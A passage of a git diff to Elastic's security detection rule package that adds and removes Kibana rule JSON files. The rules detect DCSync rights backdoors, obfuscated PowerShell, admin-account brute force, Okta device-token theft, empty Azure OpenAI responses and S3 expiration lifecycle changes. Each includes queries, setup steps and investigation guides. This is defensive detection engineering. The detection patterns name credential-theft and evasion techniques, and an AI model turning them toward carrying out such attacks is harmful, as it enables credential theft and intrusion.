closely and apply temporary exceptions as needed.\n\n### Response and remediation\n\n- Immediately isolate the affected user or computer account from the network to prevent further unauthorized access or data exfiltration.\n- Revoke any unauthorized permissions or changes made to the nTSecurityDescriptor attribute for the affected account to remove replication rights.\n- Conduct a thorough review of recent changes to the AD environment, focusing on accounts with elevated privileges, to identify any other unauthorized modifications.\n- Reset passwords for all accounts that may have been compromised, prioritizing those with administrative or sensitive access.\n- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity.\n- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the full scope of the breach.\n- Review and update access control policies and security descriptors in Active Directory to prevent similar unauthorized changes in the future.", + "query": "event.code:\"5136\" and host.os.type:\"windows\" and\n winlog.event_data.AttributeLDAPDisplayName:\"nTSecurityDescriptor\" and\n winlog.event_data.AttributeValue : (\n (\n *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and\n *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and\n *89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-*\n )\n )\n", + "references": [ + "https://twitter.com/menasec1/status/1111556090137903104", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml", + "https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all", + "https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes", + "https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeValue", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "f8822053-a5d2-46db-8c96-d460b12c36ac", + "setup": "The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n```", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Active Directory", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1003", + "name": "OS Credential Dumping", + "reference": "https://attack.mitre.org/techniques/T1003/", + "subtechnique": [ + { + "id": "T1003.006", + "name": "DCSync", + "reference": "https://attack.mitre.org/techniques/T1003/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 109 + }, + "id": "f8822053-a5d2-46db-8c96-d460b12c36ac_109", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_1.json b/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_1.json deleted file mode 100644 index 35556412bca..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_1.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "Identifies PowerShell scripts with an abnormally high proportion of non-alphanumeric characters, often resulting from encoding, string mangling, or dynamic code generation.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via High Special Character Proportion", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 1000 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 1000\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n// Excludes spaces, #, = and - as they are heavily used in scripts for formatting\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"[^0-9A-Za-z\\s#=-]\"\"\", \"\ud83d\udd25\")\n\n// Count the occurrence of special chars and their proportion to the total chars in the script\n| EVAL special_count = script_len - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n| EVAL proportion = special_count::double / script_len::double\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP special_count, script_len, proportion, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n\n// Filter for scripts with a 25%+ proportion of special chars\n| WHERE proportion > 0.25\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "f9753455-8d55-4ad8-b70a-e07b6f18deea", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Rule Type: BBR" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "f9753455-8d55-4ad8-b70a-e07b6f18deea_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f9790abf-bd0c-45f9-8b5f-d0b74015e029_115.json b/packages/security_detection_engine/kibana/security_rule/f9790abf-bd0c-45f9-8b5f-d0b74015e029_115.json new file mode 100644 index 00000000000..2de00c90266 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f9790abf-bd0c-45f9-8b5f-d0b74015e029_115.json @@ -0,0 +1,113 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple consecutive logon failures targeting an Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Privileged Account Brute Force", + "note": "## Triage and analysis\n\n### Investigating Privileged Account Brute Force\n\nAdversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found [here](https://attack.mitre.org/techniques/T1110/001/).\n\nThis rule identifies potential password guessing/brute force activity from a single address against an account that contains the `admin` pattern on its name, which is likely a highly privileged account.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n\n#### Possible investigation steps\n\n- Investigate the logon failure reason code and the targeted user name.\n - Prioritize the investigation if the account is critical or has administrative privileges over the domain.\n- Investigate the source IP address of the failed Network Logon attempts.\n - Identify whether these attempts are coming from the internet or are internal.\n- Investigate other alerts associated with the involved users and source host during the past 48 hours.\n- Identify the source and the target computer and their roles in the IT environment.\n- Check whether the involved credentials are used in automation or scheduled tasks.\n- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.\n- Examine the source host for derived artifacts that indicate compromise:\n - Observe and collect information about the following activities in the alert source host:\n - Attempts to contact external domains and addresses.\n - Examine the DNS cache for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve DNS Cache\",\"query\":\"SELECT * FROM dns_cache\"}}\n - Examine the host services for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity.\n\n### False positive analysis\n\n- Authentication misconfiguration or obsolete credentials.\n- Service account password expired.\n- Domain trust relationship issues.\n- Infrastructure or availability issues.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the source host to prevent further post-compromise behavior.\n- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "sequence by winlog.computer_name, source.ip with maxspan=10s\n [authentication where host.os.type == \"windows\" and\n event.action == \"logon-failed\" and winlog.logon.type : \"Network\" and\n source.ip != null and source.ip != \"127.0.0.1\" and source.ip != \"::1\" and user.name : \"*admin*\" and\n\n /* noisy failure status codes often associated to authentication misconfiguration */\n not winlog.event_data.Status : (\"0xC000015B\", \"0XC000005E\", \"0XC0000133\", \"0XC0000192\")] with runs=5\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Status", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "f9790abf-bd0c-45f9-8b5f-d0b74015e029", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 115 + }, + "id": "f9790abf-bd0c-45f9-8b5f-d0b74015e029_115", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_3.json b/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_3.json deleted file mode 100644 index 0a41949d4e8..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_3.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts with a disproportionately high number of numeric characters, often indicating the presence of obfuscated or encoded payloads. This behavior is typical of obfuscation methods involving byte arrays, character code manipulation, or embedded encoded strings used to deliver and execute malicious content.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via High Numeric Character Proportion", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via High Numeric Character Proportion\n\nPowerShell is a powerful scripting language used for system administration, but adversaries exploit its capabilities to obfuscate malicious scripts. Obfuscation often involves encoding payloads using numeric characters, making detection challenging. The detection rule identifies scripts with a high proportion of numeric characters, signaling potential obfuscation. By analyzing script length and numeric density, it flags suspicious activity, aiding in defense evasion detection.\n\n### Possible investigation steps\n\n- Review the script block text from the alert to understand the context and identify any obvious signs of obfuscation or malicious intent.\n- Examine the file path and host name fields to determine the origin and location of the script execution, which can help assess the potential impact and scope.\n- Check the user ID and agent ID fields to identify the user and system involved, which may provide insights into whether the activity is expected or suspicious.\n- Analyze the powershell.sequence and powershell.total fields to understand the sequence of script execution and the total number of scripts executed, which can indicate whether this is part of a larger pattern of behavior.\n- Investigate any related logs or alerts from the same host or user to identify patterns or correlations that might suggest broader malicious activity.\n\n### False positive analysis\n\n- Scripts with legitimate numeric-heavy content such as data processing or mathematical calculations may trigger the rule. To handle this, identify and whitelist specific scripts or script patterns that are known to be safe.\n- Automated scripts that generate or manipulate large datasets often contain high numeric content. Consider creating exceptions for scripts executed by trusted users or from known safe directories.\n- PowerShell scripts used for legitimate software installations or updates might include encoded data blocks. Review and exclude these scripts by verifying their source and purpose.\n- Scripts containing large hexadecimal strings for legitimate purposes, such as cryptographic operations, may be flagged. Use the exclusion pattern to filter out these known safe operations.\n- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate scripts that may be introduced.\n\n### Response and remediation\n\n- Immediately isolate the affected host to prevent further execution of potentially malicious scripts and limit lateral movement within the network.\n- Review the PowerShell script block text and script block ID to identify any malicious payloads or encoded strings. If confirmed malicious, remove or quarantine the script.\n- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to detect and remove any additional threats or remnants of the obfuscated script.\n- Analyze the file path and user ID associated with the script execution to determine if unauthorized access or privilege escalation occurred. Revoke any suspicious user access and reset credentials if necessary.\n- Escalate the incident to the security operations center (SOC) for further investigation and correlation with other alerts to assess the scope and impact of the threat across the network.\n- Implement enhanced monitoring and logging for PowerShell activities on all endpoints to detect similar obfuscation attempts in the future, focusing on scripts with high numeric character proportions.\n- Review and update endpoint protection policies to restrict the execution of scripts with high numeric density, ensuring compliance with security best practices and reducing the risk of obfuscation-based attacks.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Look for scripts with more than 1000 chars that contain a related keyword\n| EVAL script_len = LENGTH(powershell.file.script_block_text)\n| WHERE script_len > 1000\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"[0-9]\"\"\", \"\ud83d\udd25\")\n\n// Count the occurrence of numbers and their proportion to the total chars in the script\n| EVAL special_count = script_len - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n| EVAL proportion = special_count::double / script_len::double\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP special_count, script_len, proportion, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n\n// Filter for scripts with a 30%+ proportion of numbers\n| WHERE proportion > 0.30\n\n// Exclude noisy patterns\n| WHERE\n NOT powershell.file.script_block_text RLIKE \"\"\".*\\\"[a-fA-F0-9]{64}\\\"\\,.*\"\"\"\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "f9abcddc-a05d-4345-a81d-000b79aa5525", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "f9abcddc-a05d-4345-a81d-000b79aa5525_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_1.json b/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_1.json deleted file mode 100644 index 9eef3bc7e98..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/fb16f9ef-cb03-4234-adc2-44641f3b71ee_1.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions.", - "false_positives": [ - "Queries that are designed to expect empty responses or benign system errors" - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Azure OpenAI Insecure Output Handling", - "query": "from logs-azure_openai.logs-*\n| where azure.open_ai.properties.response_length == 0 and azure.open_ai.result_signature == \"200\" and azure.open_ai.operation_name == \"ChatCompletions_Create\"\n| keep azure.open_ai.properties.request_length, azure.open_ai.result_signature, cloud.account.id, azure.resource.name\n| stats count = count() by azure.resource.name\n| where count >= 10\n| sort count desc\n", - "references": [ - "https://genai.owasp.org/llmrisk/llm02-insecure-output-handling" - ], - "risk_score": 21, - "rule_id": "fb16f9ef-cb03-4234-adc2-44641f3b71ee", - "setup": "## Setup\n\nFor more information on streaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", - "severity": "low", - "tags": [ - "Domain: LLM", - "Data Source: Azure OpenAI", - "Data Source: Azure Event Hubs", - "Use Case: Insecure Output Handling" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "fb16f9ef-cb03-4234-adc2-44641f3b71ee_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/fb3ca230-af4e-11f0-900d-f661ea17fbcc_1.json b/packages/security_detection_engine/kibana/security_rule/fb3ca230-af4e-11f0-900d-f661ea17fbcc_1.json new file mode 100644 index 00000000000..6018f79efe6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/fb3ca230-af4e-11f0-900d-f661ea17fbcc_1.json @@ -0,0 +1,103 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine.", + "false_positives": [ + "Applications will tag the operating system as null when the device is not recognized as a managed device. In environments where users frequently switch between managed and unmanaged devices, this may lead to false positives." + ], + "from": "now-60m", + "index": [ + "logs-okta.system-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "okta.debug_context.debug_data.dt_hash", + "user.email", + "source.ip", + "user_agent.os.name", + "event.action" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "Okta Multiple OS Names Detected for a Single DT Hash", + "note": "## Triage and analysis\n\n### Investigating Okta Multiple OS Names Detected for a Single DT Hash\n\nThis rule detects when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token token and is using it to impersonate a legitimate user from a different machine.\n\n### Possible investigation steps\n- Review the `okta.debug_context.debug_data.dt_hash` field to identify the specific device\ntrust hash associated with multiple operating systems.\n- Examine the `user.email` field to determine which user account is associated with the suspicious activity\n- Analyze the `source.ip` field to identify the IP addresses from which the different operating systems were reported. Look for any unusual or unexpected locations.\n- Review the `user_agent.os.name` field to see the different operating systems reported for the\nsame dt_hash. This will help identify the nature of the anomaly.\n- Check the `event.action` field to understand the context of the authentication events (e.g., MFA verification, standard authentication).\n- Investigate the timeline of events to see when the different operating systems were reported for the same dt_hash. Look for patterns or sequences that may indicate malicious activity.\n- Correlate this activity with other security events in your environment, such as failed login attempts, unusual access patterns, or alerts from endpoint security solutions.\n\n### False positive analysis\n- Applications will tag the operating system as null when the device is not recognized as a managed device\n- In environments where users frequently switch between managed and unmanaged devices, this may lead to false positives.\n\n### Response and remediation\n- Immediately investigate the user account associated with the suspicious activity to determine if it has been compromised.\n- If compromise is confirmed, reset the user's credentials and enforce multi-factor authentication (MFA)\n- Revoke any active sessions associated with the compromised account to prevent further unauthorized access.\n- Review and monitor the affected dt_hash for any further suspicious activity.\n- Educate users about the importance of device security and the risks associated with device tokens.\n- Implement additional monitoring for device token tokens and consider using conditional access policies to restrict access based on device compliance status.\n", + "query": "data_stream.dataset: \"okta.system\"\n and not okta.debug_context.debug_data.dt_hash: \"-\"\n and user_agent.os.name: *\n and event.action: (\n \"user.authentication.verify\" or\n \"user.authentication.auth_via_mfa\"\n )\n", + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "data_stream.dataset", + "type": "constant_keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.debug_context.debug_data.dt_hash", + "type": "keyword" + }, + { + "ecs": true, + "name": "user_agent.os.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "fb3ca230-af4e-11f0-900d-f661ea17fbcc", + "severity": "high", + "tags": [ + "Domain: Identity", + "Data Source: Okta", + "Data Source: Okta System Logs", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1539", + "name": "Steal Web Session Cookie", + "reference": "https://attack.mitre.org/techniques/T1539/" + } + ] + } + ], + "threshold": { + "cardinality": [ + { + "field": "user_agent.os.name", + "value": 2 + } + ], + "field": [ + "okta.debug_context.debug_data.dt_hash" + ], + "value": 1 + }, + "timestamp_override": "event.ingested", + "type": "threshold", + "version": 1 + }, + "id": "fb3ca230-af4e-11f0-900d-f661ea17fbcc_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_3.json b/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_3.json deleted file mode 100644 index f81bdec4192..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/ff320c56-f8fa-11ee-8c44-f661ea17fbce_3.json +++ /dev/null @@ -1,94 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycle configurations can be used to manage objects in a bucket, including setting expiration policies. This rule detects when a lifecycle configuration is added to an S3 bucket, which could indicate that objects in the bucket will be automatically deleted after a specified period of time. This could be used to evade detection by deleting objects that contain evidence of malicious activity.", - "false_positives": [ - "Bucket components may be deleted or adjusted by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Bucket component deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS S3 Bucket Expiration Lifecycle Configuration Added", - "note": "## Triage and analysis\n\n### Investigating AWS S3 Bucket Expiration Lifecycle Configuration Added\n\nThis rule detects when an expiration lifecycle configuration is added to an S3 bucket in AWS. Such configurations can automate the deletion of objects within a bucket after a specified period, potentially obfuscating evidence of unauthorized access or malicious activity by automatically removing logs or other data.\n\n#### Detailed Investigation Steps\n\n- **Review the Affected S3 Bucket**: Check the bucket details (`bucketName`) where the lifecycle configuration has been added.\n - Determine the contents and importance of the data stored in this bucket to assess the impact of the lifecycle policy.\n- **Analyze the Lifecycle Configuration**:\n - **Expiration Policy**: Note the `Days` parameter under `Expiration` in the lifecycle rule. This indicates how long after creation data will remain in the bucket before being automatically deleted.\n - **Rule ID and Status**: Review the `ID` and `Status` of the lifecycle rule to understand its operational scope and activation status.\n- **User Identity and Activity**:\n - **User Details**: Investigate the user (`user_identity.arn`) who made the change. Determine whether this user's role typically involves managing S3 bucket configurations.\n - **Authentication Details**: Examine the authentication method and whether the access key used (`access_key_id`) is routinely used for such configurations or if it has deviated from normal usage patterns.\n- **Source IP and User Agent**:\n - **Source IP Address**: The IP address (`source.ip`) from which the request was made can provide clues about the geographical location of the requester. Determine if this location aligns with the user\u2019s known locations.\n - **User Agent**: Analyze the user agent string to understand the type of client or service that made the request, which can help identify scripted automation versus manual changes.\n\n#### Possible Indicators of Compromise or Misuse\n\n- **Frequent Changes**: Look for frequent modifications to lifecycle policies in the same or multiple buckets, which can indicate attempts to manipulate data retention dynamically.\n- **Unusual User Activity**: Activities that do not correlate with the user's typical behavior patterns, such as making changes during odd hours or from unusual locations, should be flagged for further investigation.\n\n### False Positive Analysis\n\n- Verify the operational requirements that might necessitate such lifecycle policies, especially in environments where data retention policies are strictly governed for compliance and cost-saving reasons.\n\n### Response and Remediation\n\n- **Immediate Review**: If the change was unauthorized, consider reverting the lifecycle configuration change immediately to prevent potential data loss.\n- **Enhance Monitoring**: Implement monitoring to alert on changes to lifecycle configurations across your S3 environments.\n- **User Education**: Ensure that users with access to critical resources like S3 buckets are aware of the best practices and company policies regarding data retention and security.\n\n### Additional Information\n\nFor further guidance on managing S3 lifecycle policies and ensuring compliance with organizational data retention and security policies, refer to the AWS official documentation on [S3 Lifecycle Configuration](https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html).\n", - "query": "event.dataset: \"aws.cloudtrail\" and event.provider: \"s3.amazonaws.com\" and\n event.action: PutBucketLifecycle and event.outcome: success and\n aws.cloudtrail.request_parameters: (*LifecycleConfiguration* and *Expiration=*)\n", - "references": [ - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": 